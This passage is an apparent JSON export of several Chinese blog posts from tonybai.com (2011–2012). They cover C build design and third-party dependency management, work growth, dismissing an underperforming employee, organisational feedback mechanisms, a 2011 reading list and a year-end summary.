针对每个module的单元测试代码与被测试的module代码存放在一起(比如放在module下面的tests目录下)，这样使得被测对象与测试代码物理上接近，易于源码的测试，同时逻辑上看也很紧凑。\n二、构建执行的简单和高效\n构建是一个频繁的日常开发活动，简单和高效是IT开发者对\u0026quot;构建\u0026quot;活动的两个基本要求。所谓\u0026quot;简单\u0026quot;就是尽量不让或少让我动手，懒惰的程序员们最多只是希望敲入一个命令就可以完成项目的所有构建，这就是我们所说的\u0026quot;一键化\u0026quot;。一键化从另一个角度来说也是一种\u0026quot;高效\u0026quot;，但\u0026quot;高效\u0026quot;更重要的含义则是指尽量缩短构建的时间。要想做到这点，一是需要一个清晰明了的构建脚本实现，把项目内部的各种依赖关系打理清楚，只作必要依赖，减少不必要的重复构建；第二则是选择一款高性能的构建工具，目前来看make本身的性能还是很棒的，一般来说还是强于scons这样以动态脚本语言实现的工具的，特别是再加上并行编译和分布式编译后，构建时间将大大缩短。\n三、第三方依赖包的管理\n在开源软件大行其道的今天，很多商业项目都或多或少的用到一些开源包，即使没有用到开源包，组织内部也可能存在项目间相互依赖的情况，比如：业务部门的应用很可能依赖基础研发部门提供的通用库，这样就出现了一个第三方依赖的管理的问题，这也是我们在进行构建设计过程中所不可忽视的一个重要方面。\n关于第三方依赖包的管理，至少我是见识过如下几种方式：\n* 将第三方依赖包的源码导入到你的项目，伴随项目一并构建\n这样做的好处之一就是完整：大家在构建项目时无需东找西寻，依赖的代码就在项目库中。好处之二是便于一键构建，依赖包的源码就在项目中，可以任你\u0026quot;宰割\u0026quot;；第三则是便于在不同平台上移植，因为直接存储了源码，在每个平台都是依据所在的平台构建对应的版本。\n不足之处：这样做会导致项目代码库庞大，构建时间漫长；另外也不便于第三方依赖包的更新升级。一旦第三方依赖包有bugfix或新feature，你可能需要手动的同步代码。一旦依赖的第三方包有很多的话，这可是一笔不小的工作量；最后每个项目都单独存储一份第三方依赖包会导致大量重复，重复可并不是一个好味道。\n* 将第三方依赖包构建后的二进制文件放入项目代码库\n这样做的好处在于提高了构建效率，节省了第三方依赖库自身的构建时间。但这样做的不足之处依然很多，直接存储源码方式的大多数不足都被该方式继承了下来，除此之外，这种方式还会导致在不同平台上构建难度的增加(不同平台上的包的二进制文件是不同的)。\n* 对第三方依赖包进行集中单独管理\n将各个项目所使用的第三方依赖库做统一集中管理，而不是放在每个项目中，并且只存储构建后的二进制文件而非源码。组织形式示例见下面：\n3rds/\n– libevent/\n– 2.0.10/\n– README\n– source_code_package\n– sparc_32_solaris/\n- include/\n- lib/\n– sparc_64_solaris/\n– x86_64_solaris/\n– x86_64_linux/\n… …\n– netsnmp/\n… …\n这种\u0026quot;分门别类\u0026quot;的第三方依赖包集中管理方式既有利于加速构建过程(直接用二进制，省下源码编译)，同时也便于依赖包的统一升级和管理(专人负责，通过版本号区分)。这种第三方依赖包的管理方式也是使用buildc构建辅助工具的前提。这种方式也是有缺点的，那就是需要有专人负责对该公共库进行管理，包括新版二进制包的制作与上传。\n至于在具体项目中究竟采用哪种方式还需要根据project的具体情况作出权衡，如果你依赖的第三方包较小且很少，那方式一很适合，redis就是这么做的；如果你不要支持多平台，那么第二种方式也可行；对于组织而言，似乎第三种方式是规范、统一和一致的，这也是我推荐的方式。\n四、适于与第三方工具集成\n持续集成是公认的优秀实践，市面上有很多优秀的ci工具。持续集成的第一步就是构建，因此一个好的工程构建是应该能与ci工具很好结合在一起的，也就是说要充分考虑构建脚本与ci工具的结合。\n一般来说持续集成工具判断成败与否的根据就是你委托ci工具执行的脚本的返回值。对于C应用构建过程来说，一般是make的返回值。0即成功，其他均为失败。对于单元测试用例的执行过程而言，也同样是此道理。C的单元测试集实际上就是一个个可执行程序，每个程序的返回值都是需要认真考量的，不能随意。如果你使用类似lcut这样的框架工具，你就完全可以通过框架工具来帮你完成用例执行返回值的设定。\n良好的项目构建设计是项目迈向成功的重要一步。在日常开发工作中我们不仅仅要关注软件开发过程中的\u0026quot;前段\u0026quot;，比如需求、设计和编码；对\u0026quot;后段\u0026quot;的一些活动，诸如构建、测试和部署也要给予足够的关注。以上所讲仅是经验之谈，谈不上绝对正确，因为关于C应用构建的资料相对较少，也没有统一的标准，这里权当抛砖引玉了。\n","permalink":"https://tonybai.com/2012/01/17/also-talk-about-building-c-app/","summary":"\u003cp\u003e构建是软件开发过程中最常见的活动之一，也是很容易被忽视的环节。规范以及高效的构建对软件开发过程而言是大有裨益的。\u003ca href=\"http://tonybai.com/tag/C\"\u003eC语言\u003c/a\u003e并非一门年轻的语言，其历史已甚为悠久了(相对于还年轻的IT领域^_^)。从\u003ca href=\"http://tonybai.com/2011/10/17/the-state-of-c/\"\u003eC语言\u003c/a\u003e诞生以来，市面上存在的C语言应用何止千千万万。这些C应用的源码组织形式种类万千，从最简单的单个源文件，到复杂的诸如Apache httpd server这样庞大的Project。不过无论这些C应用的源码组织形态如何，构建都是这些应用开发过程中必不可少的一步。\u003c/p\u003e","title":"也谈C语言应用构建"},{"content":"每至年关，回首一年工作中的成长，便有一种充实和幸福的感觉。\n2011年我在工作中的成长可概括为如下几点：\n1、建立并围绕原则为中心开展工作\n现在想来，以前的工作有些盲从，心中没有原则，自然也就没有主线，也许这与当初的职位角色有关。2011年职位提升了，思维方式也有所了转变。我花了更多的时间对当前的工作进行考量，而且考量的过程不是过去那种仅仅从项目组或产品线的角度，而是尽量上升到组织的角度，并针对当前工作建立起一系列原则，这些原则成为了我在工作中决策的基本出发点。以这些原则为基础，安排自己与他人的工作就有了着力点，一切显得十分自然合理。\n2、学会着眼大局\n逐渐学会和适应了从组织层面去思考问题，以追求组织的\u0026quot;可持续发展\u0026quot;为原则；做长远考虑，不局限于眼前得失，懂得奉献；积极尝试打破部门间壁垒，积极主动地投入到工作中去，先予后得，充分发挥兄弟部门的力量，促成任务的完成。\n3、更加注重行动\n以前的我由于忙于一线事务，很多改进都停留在了想法提出的层面上。但今年在积极地对产品线的组织结构进行调整后，我个人有了更多的时间思考改进，更多的精力投入到改进的实施上去，并且取得了良好的效果。知识库建立、利用虚拟化改善开发效率、提议的制度化、效率提升思路的转变等都是在此前提下得到大步推进的。\n个人感觉这三点已经逐渐固化到我行事的思维方式中去了，这让我真真切切地体会到了自己这一年来的成长。\n","permalink":"https://tonybai.com/2012/01/12/my-grow-up-in-2011/","summary":"\u003cp\u003e每至年关，\u003ca href=\"http://tonybai.com/2011/12/21/my-year-end-summary-of-2011/\"\u003e回首\u003c/a\u003e一年工作中的成长，便有一种充实和幸福的感觉。\u003c/p\u003e\n\u003cp\u003e2011年我在工作中的成长可概括为如下几点：\u003c/p\u003e\n\u003cp\u003e1、建立并围绕原则为中心开展工作\u003cbr\u003e\n现在想来，以前的工作有些盲从，心中没有原则，自然也就没有主线，也许这与当初的职位角色有关。2011年职位提升了，思维方式也有所了转变。我花了更多的时间对当前的工作进行考量，而且考量的过程不是过去那种仅仅从项目组或产品线的角度，而是尽量上升到组织的角度，并针对当前工作建立起一系列原则，这些原则成为了我在工作中决策的基本出发点。以这些原则为基础，安排自己与他人的工作就有了着力点，一切显得十分自然合理。\u003c/p\u003e","title":"2011·工作中的成长"},{"content":"这周五我做了一件\u0026quot;恶事\u0026quot; – 劝退了一名员工。这样的事情在部门成立10年的历史中发生的次数都是屈指可数的，但却真实地让我给碰到了。\n我以前只是有招人的经验，但从未做过\u0026quot;开人\u0026quot;的事情，这是第一次，心里总有些不忍。原计划由这名同事的直接Leader与他谈这件事情，但这名女leader更是抹不开面子，索性我就直接上阵了。过程还算顺利，这名同事表面上也没有太多意见，但我心里清楚：他肯定很郁闷，这个周末估计会很失落。我们也不想这样的事情发生，但之所以做出这个决定也是因为这名同事\u0026quot;所作所为\u0026quot;实在是太不给力了。\n这名同事进入我们产品线大约有一年半时间，他并非是我们招入的，而是由领导从其他项目组安排过来的(恰逢那时我们缺人)。最初安排他做开发侧的技术支持角色，负责产品的升级支持以及生产环境问题的解决，算是隶属开发运维团队。但一段时间后他似乎没有得到运维团队内部的信任，给他派的活儿都是很边缘的，生产环境遇到大的问题基本都绕过他而直接找到原开发人员解决，形成这一局面的原因无非有二：一是他无法独立地及时解决生产环境中的问题；二是在自己无法解决的情况下，也没能很好地协调他人将问题解决。长此以往大家索性就不找他了。团队内部不能养闲人，我们还是给了他机会 – 尝试让他做些开发团队的工作，把他直接安排到上面提到的那位女Leader的项目组里面。经过了大半年，他给出的成绩单却是：失去了所有团队对他的信任，大家把他彻底孤立了起来。团队并非一开始就失去对他的信任，而是不断给他机会，给他的工作都是相对比较简单的，时间上也相对宽松。但即使这样，他也是不断延误进度，提交上来的东西也是频频出错，耽误了自己不说，还耽误了其他团队的整体进度，大家逐渐开始对他都不耐烦了，我这里也不断收到大家对他的抱怨，局面就是这样形成的。年中面谈时，还曾明确给他指出了不足，并就改进绩效计划达成一致，但他依旧没有达到我们的预期。木桶理论告诉我们：在一个团队里，决定这个团队战斗力强弱的不是那个能力最强、表现最好的人，而恰恰是那个能力最弱、表现最差的落后者。于是我们从全局考虑，从团队的整体考虑，我们做出了上面那个无奈的决定。\n我做了一下换位思考，如果我是这名同事，到底是什么原因让我走到了这步田地呢？下面我就来帮他分析分析。\n首先，我想这位同事没有走好融入团队的第一步棋 – 赢取团队的初始信任\n对于一个刚刚进入团队的新人（无论是有工作经验的还是刚毕业的新人），赢取团队的初始信任都是最最重要的。下好这第一步棋其实并不难，把你的直接上司分配给你的第一个任务做好即可。当然如果要赢得超出预期的信任，那就得做的完美一些。在这个阶段，你最好能专心投入，甚至“牺牲”一些个人时间（对于程序员来说，这很容易理解^_^），快速地熟悉新环境、行业领域业务知识、产品以及团队风格。一旦你的第一个任务达到或超过了大家的预期，团队对你的信任也就建立了起来，后面的事情就变得自然而然了；而一旦你搞砸了第一个任务，那就相当于从团队成员那本来就积蓄不多的情感账户中取款，那后续走势如何就要看这个团队的耐心了，他们到底会给你多少次犯错的机会呢！\n其次，能力不足且没有努力做出改进\n赢得信任需要有资本，这最起码资本就是个人从事这个行业工作的能力。绝大多数行业中处于能力平均水平的人维持一份稳定的工作都不难。但问题就在于如果这个人没能认识到自己能力的不足，或是即使认识到能力不足，但也不努力改进，那这个人就危险了。我的这位同事身上显然就发生了这个问题，这一年多以来他的能力或技能只能说是原地踏步，在IT这个行业里，大家都知道这意味着什么。\n最后，态度！\n俗话说：\u0026ldquo;世上无难事，只怕有心人\u0026rdquo;。这句话从侧面反映的是一种做事的态度，而我的这位同事被诟病最多的就是做事的态度上。我从多方面反馈了解到，他似乎就没有把分配给他的任务当成自己的事来做，总是囫囵吞枣，不断犯错，不断被指出，之后依旧不断重复犯错，似乎一点改进的意识都没有。如果把工作视为可敷衍了事的事情，那后果可想而知。\n也许还有一种更为深层次的原因，我也不敢肯定，那就是他也许根本对程序员这个行当不感兴趣。缺少动力，行将就木，做一天和尚撞一天钟，因此有了糟糕的表现。如果真是这样的话，那就是严重地对自己不负责任了！说得严重些叫浪费生命，也许他换个行当就能出类拔萃呢。\n在组织层面如何为避免此类事情发生呢？也许只能严把入口。但说起来容易做起来难，仅仅通过几次面试，很难全面地去认识一个人。刘未鹏不是写过一篇文章叫\u0026quot;怎样花两年时间去面试一个人\u0026ldquo;吗，显然也印证了这一点。\n最后还是要对这位同事说一声：你还年轻，这仅仅是一时的挫折，绝不应该就此消沉，反思一下，找到一条更适合自己的路，好好的走下去。\n","permalink":"https://tonybai.com/2012/01/08/thoughts-from-persuading-somebody-to-quit/","summary":"\u003cp\u003e这周五我做了一件\u0026quot;恶事\u0026quot; – 劝退了一名员工。这样的事情在部门成立10年的历史中发生的次数都是屈指可数的，但却真实地让我给碰到了。\u003c/p\u003e","title":"由劝退一名员工所想到的"},{"content":"近期完成了与组员的年终绩效面谈，收集上来一些意见和建议，其中有一些涉及到部门对大家反馈的意见和建议处理不妥的情况，对此我也做了认真的考量，于是就有了这篇短文。\n组织的基本单元是人(即组员)，组织的运行依靠的也是组员，组员对组织的运行情况最有发言权，组织内部存在的问题他们会第一时间感知到，也许他们也是第一个尝试解决问题并作出改进的人，因此他们的意见和建议是最最宝贵的，作为一个组织的领导者首先应该认识到这一点，下面的内容也完全是基于这一前提的。\n基于”组员的意见和建议是最最宝贵的”这一共同认知和前提，我们下面就应该去考虑如何让组员更主动积极的提出有价值的意见和建议、如何充分利用这些意见和建议进行组织的持续改善了。致力于成为一个气氛活跃，畅所欲言，行动迅速，不断追求自我改善的组织，首先就是要在组织内部建立起一个意见和建议良性的反馈机制。在杰克.韦尔奇的《赢》一书中，韦尔奇谈到了通用电气所实施的“群策群力”计划其实也是这样的一种机制。\n大多数组织不会有通用电气这么大的规模，但小组织也应该有小组织的做法和特点，有些做法可以被借鉴，这里就我所在组织内部的做法以及所遇到的问题谈一下我的看法：\n1、建立制度化的意见和建议的”Pull机制”\n这是一种意见和建议收集的”官方渠道”，就好比古代的皇帝早朝或是如今的人民代表大会制度。”官方”会定期收集下面的意见和建议，并给予处理。这是组织领导层的一种主动希望听取大家意见和建议的意愿的体现，所以这里也称为”Pull机制“。这种采纳意见和建议的频度是因组织而异的，可以是半年一次，也可以是每季度一次，甚至可以做到月度。这种机制可以保证组员有的放矢，至少算是有机会、有地方可以发表自己的意见和建议了。\n2、建立明确的日常建议和意见反馈渠道\n“新鲜”的意见和建议最具有说服力，同时也可以加快问题的解决速度，随时发生，随时解决。这种渠道实际上才是一个组织内部最需要重视的，也是发挥作用最大的一种意见和建议反馈机制。组织内部应该与所有成员明确反馈渠道的运作方式，比如通过专用邮件列表、设置意见和建议收集和处理专门负责人、频度更高的制度化的项目反思会、头脑风暴会等。\n3、意见和建议的及时处理与应答\n我们的反馈机制务必要做成”闭环”的，大家最最重要的意见和建议一旦提交后，千万不能被石沉大海。组织内部应该由专人负责整理意见和建议，并给予提交者以应答，最好的做法是让组织内所有成员都得到关于某意见或建议的应答，无论该提议能否被及时解决掉，都要给予应答，那些不能被及时解决掉的提议，也要给出改善计划说明；如果组织认为某提议无需处理，也要给出充分的理由，避免打击提议者的积极性。以上这些做法可以充分展示一种对提议者的尊重，对所提意见或建议的重视；对于提议者来说，这无疑是一个正面的反馈。\n在这方面应避免以下两个问题：\n避免”谁提议，谁负责解决”的提议应对思维和做法\n很多组织的领导层形成了”谁提议，谁负责解决”的思维惯性，他们简单地认为“这事是你提出来的，你就负责解决吧”。一旦形成这种思维，其结果很可能是提议者无力解决，受到打击，后续不愿主动提议了；或者让其他成员认识到领导的这种习惯做法后也不愿主动提议了。这样长久下去会严重压抑一些想法的提出。对于提议，组织层面应该细致分析，合理计划，拿出确实可行的方案，安排适当的人（也可以是提议者，但事先需合理沟通，作为正式任务授权，并给予时间和资源上的支持）去做。\n避免“没下文”的情况发生\n很多提议被组织层面认可，但在具体改进时在资源和时间上给予的支持太有限，导致很多无法提议的改进最终无法达成，这样会形成负面心理反馈，打击组员提议的主动性。\n4、定期反馈提议的改善成果\n为了形成正面的反馈效应，可在组织内部定期公布提议的改善成果，并在每项改善结果中署提议者的名字，这会给提议者以及其他组员带来巨大的心理激励，会促使组员更多更主动的提出自己的宝贵意见和建议； 有条件的组织还可以给予改善成功的提议者以适当的物质奖励。\n还有其他一些措施有助于良性反馈机制的建立，比如招聘思维活跃、有思想的组员（对人的认知往往很难）、培养意见先锋（示范带头）等等。以上措施实际上对组织的长远发展是及其有利的，组织可以充分的发挥出组织内成员的价值。正如通用电气公司家用电器事业部的一位员工所说：“25年来，你们为我的双手劳动支付工资。而实际上，你们本来还可以拥有我的大脑，而且不需要支付任何工资。”。\n组织内部建立良性提议反馈机制更是”以人为本”的一个良好体现，它强调了对组织内员工的充分尊重。别忘了：你对待员工的态度和做法就是你的员工对待客户的态度和做法。\n","permalink":"https://tonybai.com/2012/01/06/thoughts-on-establishing-a-benign-feedback-mechanisms-inside-the-organization/","summary":"\u003cp\u003e近期完成了与组员的年终绩效面谈，收集上来一些意见和建议，其中有一些涉及到部门对大家反馈的意见和建议处理不妥的情况，对此我也做了认真的考量，于是就有了这篇短文。\u003c/p\u003e","title":"关于组织内部建立良性提议反馈机制的一些考量"},{"content":"2011年我的确读了不少书，掐指算来纸版和电子版加在一起近50本，其中以技术类居多，但其他方面的也有一些。这里列出来做个简单回顾。\n一、技术类\n· 《你必须知道的495个C语言问题》\n早在这本书出版前，其译者已经在网上完成了C FAQs的翻译(在这里)。这本书是基于最新C FAQs做了重新整理(包含C99)。虽说是最新，但因C语言近几年来变化很小，内容与之前译者在网上公开的那个免费版本相差不多。这本书适应面很广，初学者可以从中了解到很多谭氏教程中没有的东西；有经验的C程序员可以把它当成一本手册，需要时翻看。对于那些很在乎C语言细节的程序员来说，翻看一遍也未尝不可。\n· 《The New C Standard – An Economic and Cultural Commentary》\n这本书的作者真是牛X的一塌糊涂。整本书居然是对C99规范的逐句解释，而且写成了一部1600多页的大砖头。这本书应该未正式出版，我看的是作者在网上放出的免费电子版。如果你痴迷于C语言规范的细节，这本书是一本不可多得的辅助资料。\n· 《C和C++安全编码》\nCert C/C++安全编码经验的浓缩版，读一遍的确可以提高一些编码过程中的安全意识。\n· 《Practical Common Lisp》\nPeter Seibel编写的一本荣获Jolt大奖的Common Lisp入门书。你在这里可以看到这本书的免费电子版，其中文版名为《实用Common Lisp编程》，现在在我的书架上也躺着一本，我还没抽出时间来看。如果你是Common Lisp初学者，这本书是不二的首选。\n· 《ANSI Common Lisp》\nLisp语言的著名吹鼓手Paul Graham的大作，成书于Common Lisp标准化之际，是一本不错的Common Lisp入门的辅助资料。个人认为将《Practical Common Lisp》与此书结合在一起来学习，会加深你对Common Lisp的理解。\n· 《Haskell – The Craft of Funcitonal Programming 2nd》\n这是一本比《Programming in Haskell》更适合作为函数式编程语言入门的书。书中第一章对函数式编程基本概念的讲解很是到位，并且这本书已经被译成了中文，书名为《Haskell函数程序设计艺术》，在网上可以免费下载到。\n· 《Seven Languages in Seven Weeks》\n估计大家都见过《21天学会X语言》这样的编程语言教程。21天学会某种编程语言已经有些差强人意了，但这本书更狠 – 书名的直译是\u0026quot;七周学会七门语言\u0026quot;，但显然本书的目标不是这样的。作者的原意是希望读者通过阅读本书了解更多的新兴编程语言以及编程范式，改变编程思维，另外通过本书的阅读可以初步掌握各种语言，并且对语言的掌握程度不仅仅是\u0026quot;Hello World\u0026quot;这一层次。今年年初与其他人合译了此书，也是在那时将这本书通读了一遍。我负责翻译Prolog、Scala和Haskell三个章节。在书中作者将每一门语言比作成一个电影中的人物，使得内容更加生动形象(但翻译起来就没那么容易了^_^)。特别值得一提的是：该书还荣获了今年的Jolt大奖，由此可见业界对该书的认可。\n· 《Python参考手册(第四版)》\n像Python这样的动态编程语言，一直以极高的开发效率著称，这也是我今年学习和使用Python的一个原因，Python强大的标准库可以帮我快速实现一些想法(buildc就是用Python编写的)。《Python参考手册》这本书并不适合作语言入门之用，里面对语言细节的讲解很少，其内容更多适用于工程参考，包括库函数使用、打包、发布等，这正是当时我所需要的。\n· 《持续集成》和《持续交付》\n持续集成已经是存在已久的一个最佳实践了。《持续集成》一书对这方面内容做了极其系统的讲解；持续交付将持续集成的概念做了进一步延伸，将软件开发的前段（设计、编码、单元测试）与后段（功能测试、压力测试、发布、部署、验收测试）衔接在一起，形成了一个整体，并通过自动化手段实现了这一概念。在我看来《持续交付》一书更像是一本cookbook，作者将自己实施持续交付过程中采用的方案以及遇到的问题都详实地记录在书中，分享给大家。这本书获得了今年的Jolt技术图书类最高奖，很是值得一读。\n· 《深入理解计算机系统 2nd》\n本书的第一版是在大学毕业后不久读的，当时真有一种相见恨晚的感觉，读完后战斗力陡增。若干年后第二版的中文版终于出炉了，我又迫不及待地买下，并通读了一遍。这本书究竟咋样，从我豆瓣上给的评语可以看出：\u0026ldquo;如果只允许我为程序员们推荐一本书，那么我会毫不犹豫的将这本csapp推荐给大家。太经典了！\u0026rdquo;\n· 《Binary Hacks》和《Debug Hacks》\n讨厌日本人，但有些时候你的确还得向日本人学习，这两本书都是由日本程序员执笔的，而且内容都是有关系统编程以及OS内核编程和调试的，内容比较深，需要你静下心来细心体会，国内程序员往往比较浮躁，愿意做底层技术的很少，坚持下来的就更少了，这方面日本程序员却是我们的典范。有关系统级编程和调试经验和技巧的资料在市面上比较少了，这也凸显了这两本书的价值。\n· 《A Bug Hunter\u0026rsquo;s Diary》\n这本书只是粗略的浏览了一些，书里的案例实在看不下去，总觉的Debug这事儿只有自己亲手去做才能有所得，就像看《盗墓笔记》一样，看完后你依旧不会倒斗，只有亲自倒一次斗才能学到真本事。\n· 《Linux系统编程》\n知名Linux内核维护者Robert Love的作品，结合底层原理的机制讲解是本书一大特色，但总体比较平淡，有些地方更像是函数使用手册，建议有经验的程序员快速浏览一遍即可。\n· 《Linux系统管理技术手册》\n简直就是一本Linux系统管理的大百科全书，内容涵盖各种主流Linux发行版，如RHEL、Debian、OpenSuse、Ubuntu等，极其适合放在抽屉里随时翻阅，我就是这么做的。\n· 《Pragmatic Guide to Git》和《Pro Git》\n前者适合Git入门，后者适合Git进阶。一个版本控制工具，没有什么好说的。对于Git学习的建议是：要领悟Git背后的思想，另外不要将Git命令的含义与svn等传统版本控制工具的命令混淆，Git命令需全新认知。\n· 《软件研发之道》\n典型的\u0026quot;新瓶装老酒\u0026quot;，该书早在N年前就出过一中译版，名为《微软团队 – 成功秘诀》。如果你看过后者，你大可不必购买此书。不过如果你没看过这本书，那么还是建议看看，虽说书中讲的是微软当年Visual C++团队的事情，但读后你会发现其中的思想至今仍极具价值。\n· 《编程之道》\n这是一本奇书，一本悬在空中的书，全书通读完后，你可能依然不知作者所云，但你的内心却已被作者的思想洗礼。\n· 《编程匠艺》\n如果你认为《代码大全2nd》是好书，那么你也会喜欢这本书，它们是一类的。\n· 《大话设计模式》\n这类书的目标都是意图将晦涩难懂的《Design Pattern》一书通俗化。但一般看这类书的时候，身旁还要放上一本《Design Pattern》，随时翻阅查证。今年在考量用C实现Pattern时顺便读完了这本书，总体来说算是国内讲解DP比较优秀的一本了。\n· 《企业应用架构模式》\nMartin Fowler在2003年的作品，也是当年Jolt效率大奖获得者。当时也是企业应用架构蓬勃发展的时期 – J2EE大行其道，轻量级框架方兴未艾。作者将当时进行企业应用架构设计一些经验模式进行了详尽的总结并写成此书。在企业应用设计方面，我了解甚少，这也是今年阅读此书的一个主要原因。\n· 《走出软件作坊》\n为数不多的国内IT企业技术管理者的经验之谈，很多人在书中会找到自己的影子。\n· 《黑客与画家》\nPaul Graham的又一部大作，与之前的那本不同，这本更像是Paul的散文集，看完后是否能受益，全看你的悟性了。\n· 《构建高性能Web站点》\n我不是搞Web开发的，但此书前三章对Web站点性能影响因素的分析还是让我受益匪浅的。\n· 《程序设计语言原理》\n从China-pub淘来的一本特价书，但读了之后我感觉即使是原价买来也是很划算的。\n· 《程序开发心理学》\n温伯格的经典之作。由于原著成书较早，经过几十年很多思想其实早已经通过其他渠道灌输到我们的大脑中了，但越是这样我们越是惊叹于温大牛惊人的预见力。要知道这本书最早成书于1971年。\n· 《算法技术手册》\n今年读的唯一算法类书籍，这本书不像《算法导论》那样钻理论牛角尖，也不像《程序员实用算法》那样着重于算法的实现，它旨在赋予你精确选择算法的能力，以帮助你精确高效地解决面临的问题。\n二、社科类\n· 《赢》\n杰克.韦尔奇退休后的总结之作。记得上次陪LP参加桩考，我用了大半天时间在我的Bambook上把这本书浏览了一遍。不过在我这个层次上尚无法理解杰克全部之言。这本书对于不同层次的人会有不同的价值。它就是那种需要你在不同时期反复多次阅读的一本书。也许若干年后再读此书，我会有更深刻的认识。\n· 《浪潮之巅》\n今年我读到的最震撼之作。之前吴军在Google黑板报上连载时我并未太过在意，这次系统地通读一遍后，让我眼界大开，从书中学到了许多，同时也激发我想到了许多。\n· 《搞定: 无压工作的艺术》(Getting Things Done的中译版)和《时间管理：小强升职记》\n前者是GTD时间管理理论的源头，后者则是国内GTD牛人的经验之作。时间管理是今年我的一个重点改进目标，这两本书给了我很大帮助。\n· 《哪来的天才》\n这本书向我们阐述了一个观点：刻意练习是天才的一个必要条件。如果你不认同，那么打开这本书，慢慢看吧。\n· 《把时间当作朋友》\n原新东方英语教师李笑来的作品，很难想象他这样的职业能写出这种题材的书。\n· 《重来》\n来自一个创业公司创业者们的颠覆性观点。\n· 《少有人走的路》\n感觉没有外界宣传的那么好，也许我还没有悟到。\n· 《卓有成效的管理者》\n管理学大师的作品总是值得一读的，虽然你很可能已经从其他场合学到过其中的思想。\n三、传记类\n· 《活着就为改变世界》和《史蒂夫·乔布斯传》\n看《活着就为改变世界》时，乔布斯还活着；后来乔布斯去逝了，我拿到了《史蒂夫·乔布斯传》。感谢京东的促销活动，让我以超低的价格买到乔帮主留给世人的这最后的礼物。两本书都告诉我一个事实：乔布斯的确与众不同，但讨厌他、憎恨他的人也大有人在。\n· 《世界因你不同》\n以前看过李开复的《做最好的自己》，对李开复有些了解，所以读这本传记时也就走马观花了。\n· 《留德十年》和《牛棚杂忆》\n一直很想知道季羡林为何被称为国学大师，通过回忆录是了解这个大师的一个很好的途径。\n四、小说类\n· 《盗墓笔记系列》\n这类题材的书籍总是吸引人的眼球，就如作者所说的“盗墓代表着人类一种最原始的欲望，求得财富和探询死亡，这种刺激，恐怕是人就无法避免的\u0026quot;。不能去倒斗，看看别人如何倒斗也能满足一些欲望^_^。\n· 《三体》\n慕名而读，名不虚传。作者超凡的想象力让人不能不折服，至少第一部是如此。\n· 《高地》\n今年看的唯一一部军旅题材小说，在部门旅游来回的途中把这部小说看完，情节跌宕，情感细腻，值得一看。\n五、其他类\n· 《准备去美国读书》\n为了了解美国教育是什么样子的，从图书馆借阅的，如果你和我有同样的目的，这本书还是可以满足需求的。\n· 《实用IT英语》\n简直就是为IT人士量身定做的外语书，着重培养\u0026quot;英语思维\u0026quot;的形成，感觉书的内容也比较新颖。\n很多朋友可能会问：工作这么忙，家庭生活琐事那么多，哪里还有什么时间读书呢？我又何尝不忙呢，每天8小时工作，周末还要陪果果。这里的关键还是要有坚定的读书信念，养成良好读书习惯，就好比一日三餐那样，非读不可。另外还要不断提高读书效率，充分利用零散的时间。现在市面上电纸书(比如kindle、bambook)越来越成熟，便携性也越来越好，你可以把坐车、等车以及闲暇休息这些零散时间充分利用起来，一年下来你挤出来的时间也是惊人的。\n","permalink":"https://tonybai.com/2011/12/22/book-list-i-have-read-in-2011/","summary":"\u003cp\u003e2011年我的确读了不少书，掐指算来纸版和电子版加在一起近50本，其中以技术类居多，但其他方面的也有一些。这里列出来做个简单回顾。\u003c/p\u003e\n\u003cp\u003e一、技术类\u003cbr\u003e\n· 《\u003ca href=\"http://book.douban.com/subject/3422332/\"\u003e你必须知道的495个C语言问题\u003c/a\u003e》\u003cbr\u003e\n早在这本书出版前，其译者已经在网上完成了C FAQs的翻译(在\u003ca href=\"http://c-faq-chn.sourceforge.net/\"\u003e这里\u003c/a\u003e)。这本书是基于最新C FAQs做了重新整理(包含\u003ca href=\"http://tonybai.com/2011/08/31/simplify-coding-in-c99/\"\u003eC99\u003c/a\u003e)。虽说是最新，但因C语言近几年来变化很小，内容与之前译者在网上公开的那个免费版本相差不多。这本书适应面很广，初学者可以从中了解到很多谭氏教程中没有的东西；有经验的C程序员可以把它当成一本手册，需要时翻看。对于那些很在乎C语言细节的程序员来说，翻看一遍也未尝不可。\u003c/p\u003e","title":"2011·读过的书"},{"content":"2011年眼看就要接近尾声了，这里也对自己在2011年的\u0026quot;所作所为\u0026quot;做个小结^_^。\n这一年来工作之外的我过得还是比较充实的，从下面的数字也可以看出：\n- 写了81篇博文\n- 开源了2个工具(CBehave和buildc)\n- 合译了一本书（\u0026quot;Seven Languages in Seven Weeks\u0026quot;，不过尚未出版）\n- 读了近50本书（通过豆瓣读书统计）\n- 新学了一门语言 – Common Lisp\n- 新用了一门语言 – Python\n学无止境。我内心中追求的是\u0026quot;持续成长\u0026quot;，让自己感觉每一天都有进步，哪怕仅是一点点，所以上面这些事情对我来说绝对是快乐的，有成就感的。\n在工作方面，2011是\u0026quot;蓄势\u0026quot;和\u0026quot;布局\u0026quot;的一年。无论是在产品开发还是团队组织调整方面，我都按照我的思路进行了重新布局。这样一方面可以提携一些骨干，让他们可以在更重要的岗位上发挥出更大的能量；另一方面也可以大大减轻我个人身上的一些事务性工作，让自己可以轻装上阵，静下心来思考一些事情，踏实地去做一些对部门长远发展有价值的事情，比如在线代码同级评审、知识库的建设、开发构建管理辅助工具、使用虚拟化技术改善开发测试效率、生产环境软件升级的自动化操作等。这些工作也反过来让我变得更加主动，更敢于去打破常规。\n年初在个人工作计划中设定了多个目标，现在看来大部分已经做到。但感觉在\u0026quot;给予下属同事更多关于高效工作方法和提高解决问题能力上的指导“方面做的还很不足。另外感觉自己在\u0026quot;包容他人\u0026quot;这块的进步似乎依旧不大，甚至感觉自己的脾气愈发见长，眼睛里基本容不下沙子，看来性格秉性这东西要改起来还真难。\n我一直告诫自己：代码还得写，千万不能让自己手冷。这方面上半年做的还不错，下半年写的有些少，这几天感觉手有些痒痒了，特想写上个三天三夜。\n2011的家庭生活总体来说是\u0026quot;平淡中蕴含着幸福\u0026quot;，特别是每次下班进门时果果迎上来抱住我的大腿的时候，幸福的感觉尤甚。\n既然是小结，那就写这么多了，都是捞干的了。至于来年的计划、目标以及愿望就留到来年再说道吧。\n","permalink":"https://tonybai.com/2011/12/21/my-year-end-summary-of-2011/","summary":"\u003cp\u003e2011年眼看就要接近尾声了，这里也对自己在2011年的\u0026quot;所作所为\u0026quot;做个小结^_^。\u003c/p\u003e\n\u003cp\u003e这一年来工作之外的我过得还是比较充实的，从下面的数字也可以看出：\u003cbr\u003e\n- 写了\u003ca href=\"http://tonybai.com/\"\u003e81篇博文\u003c/a\u003e\u003cbr\u003e\n- 开源了2个工具(\u003ca 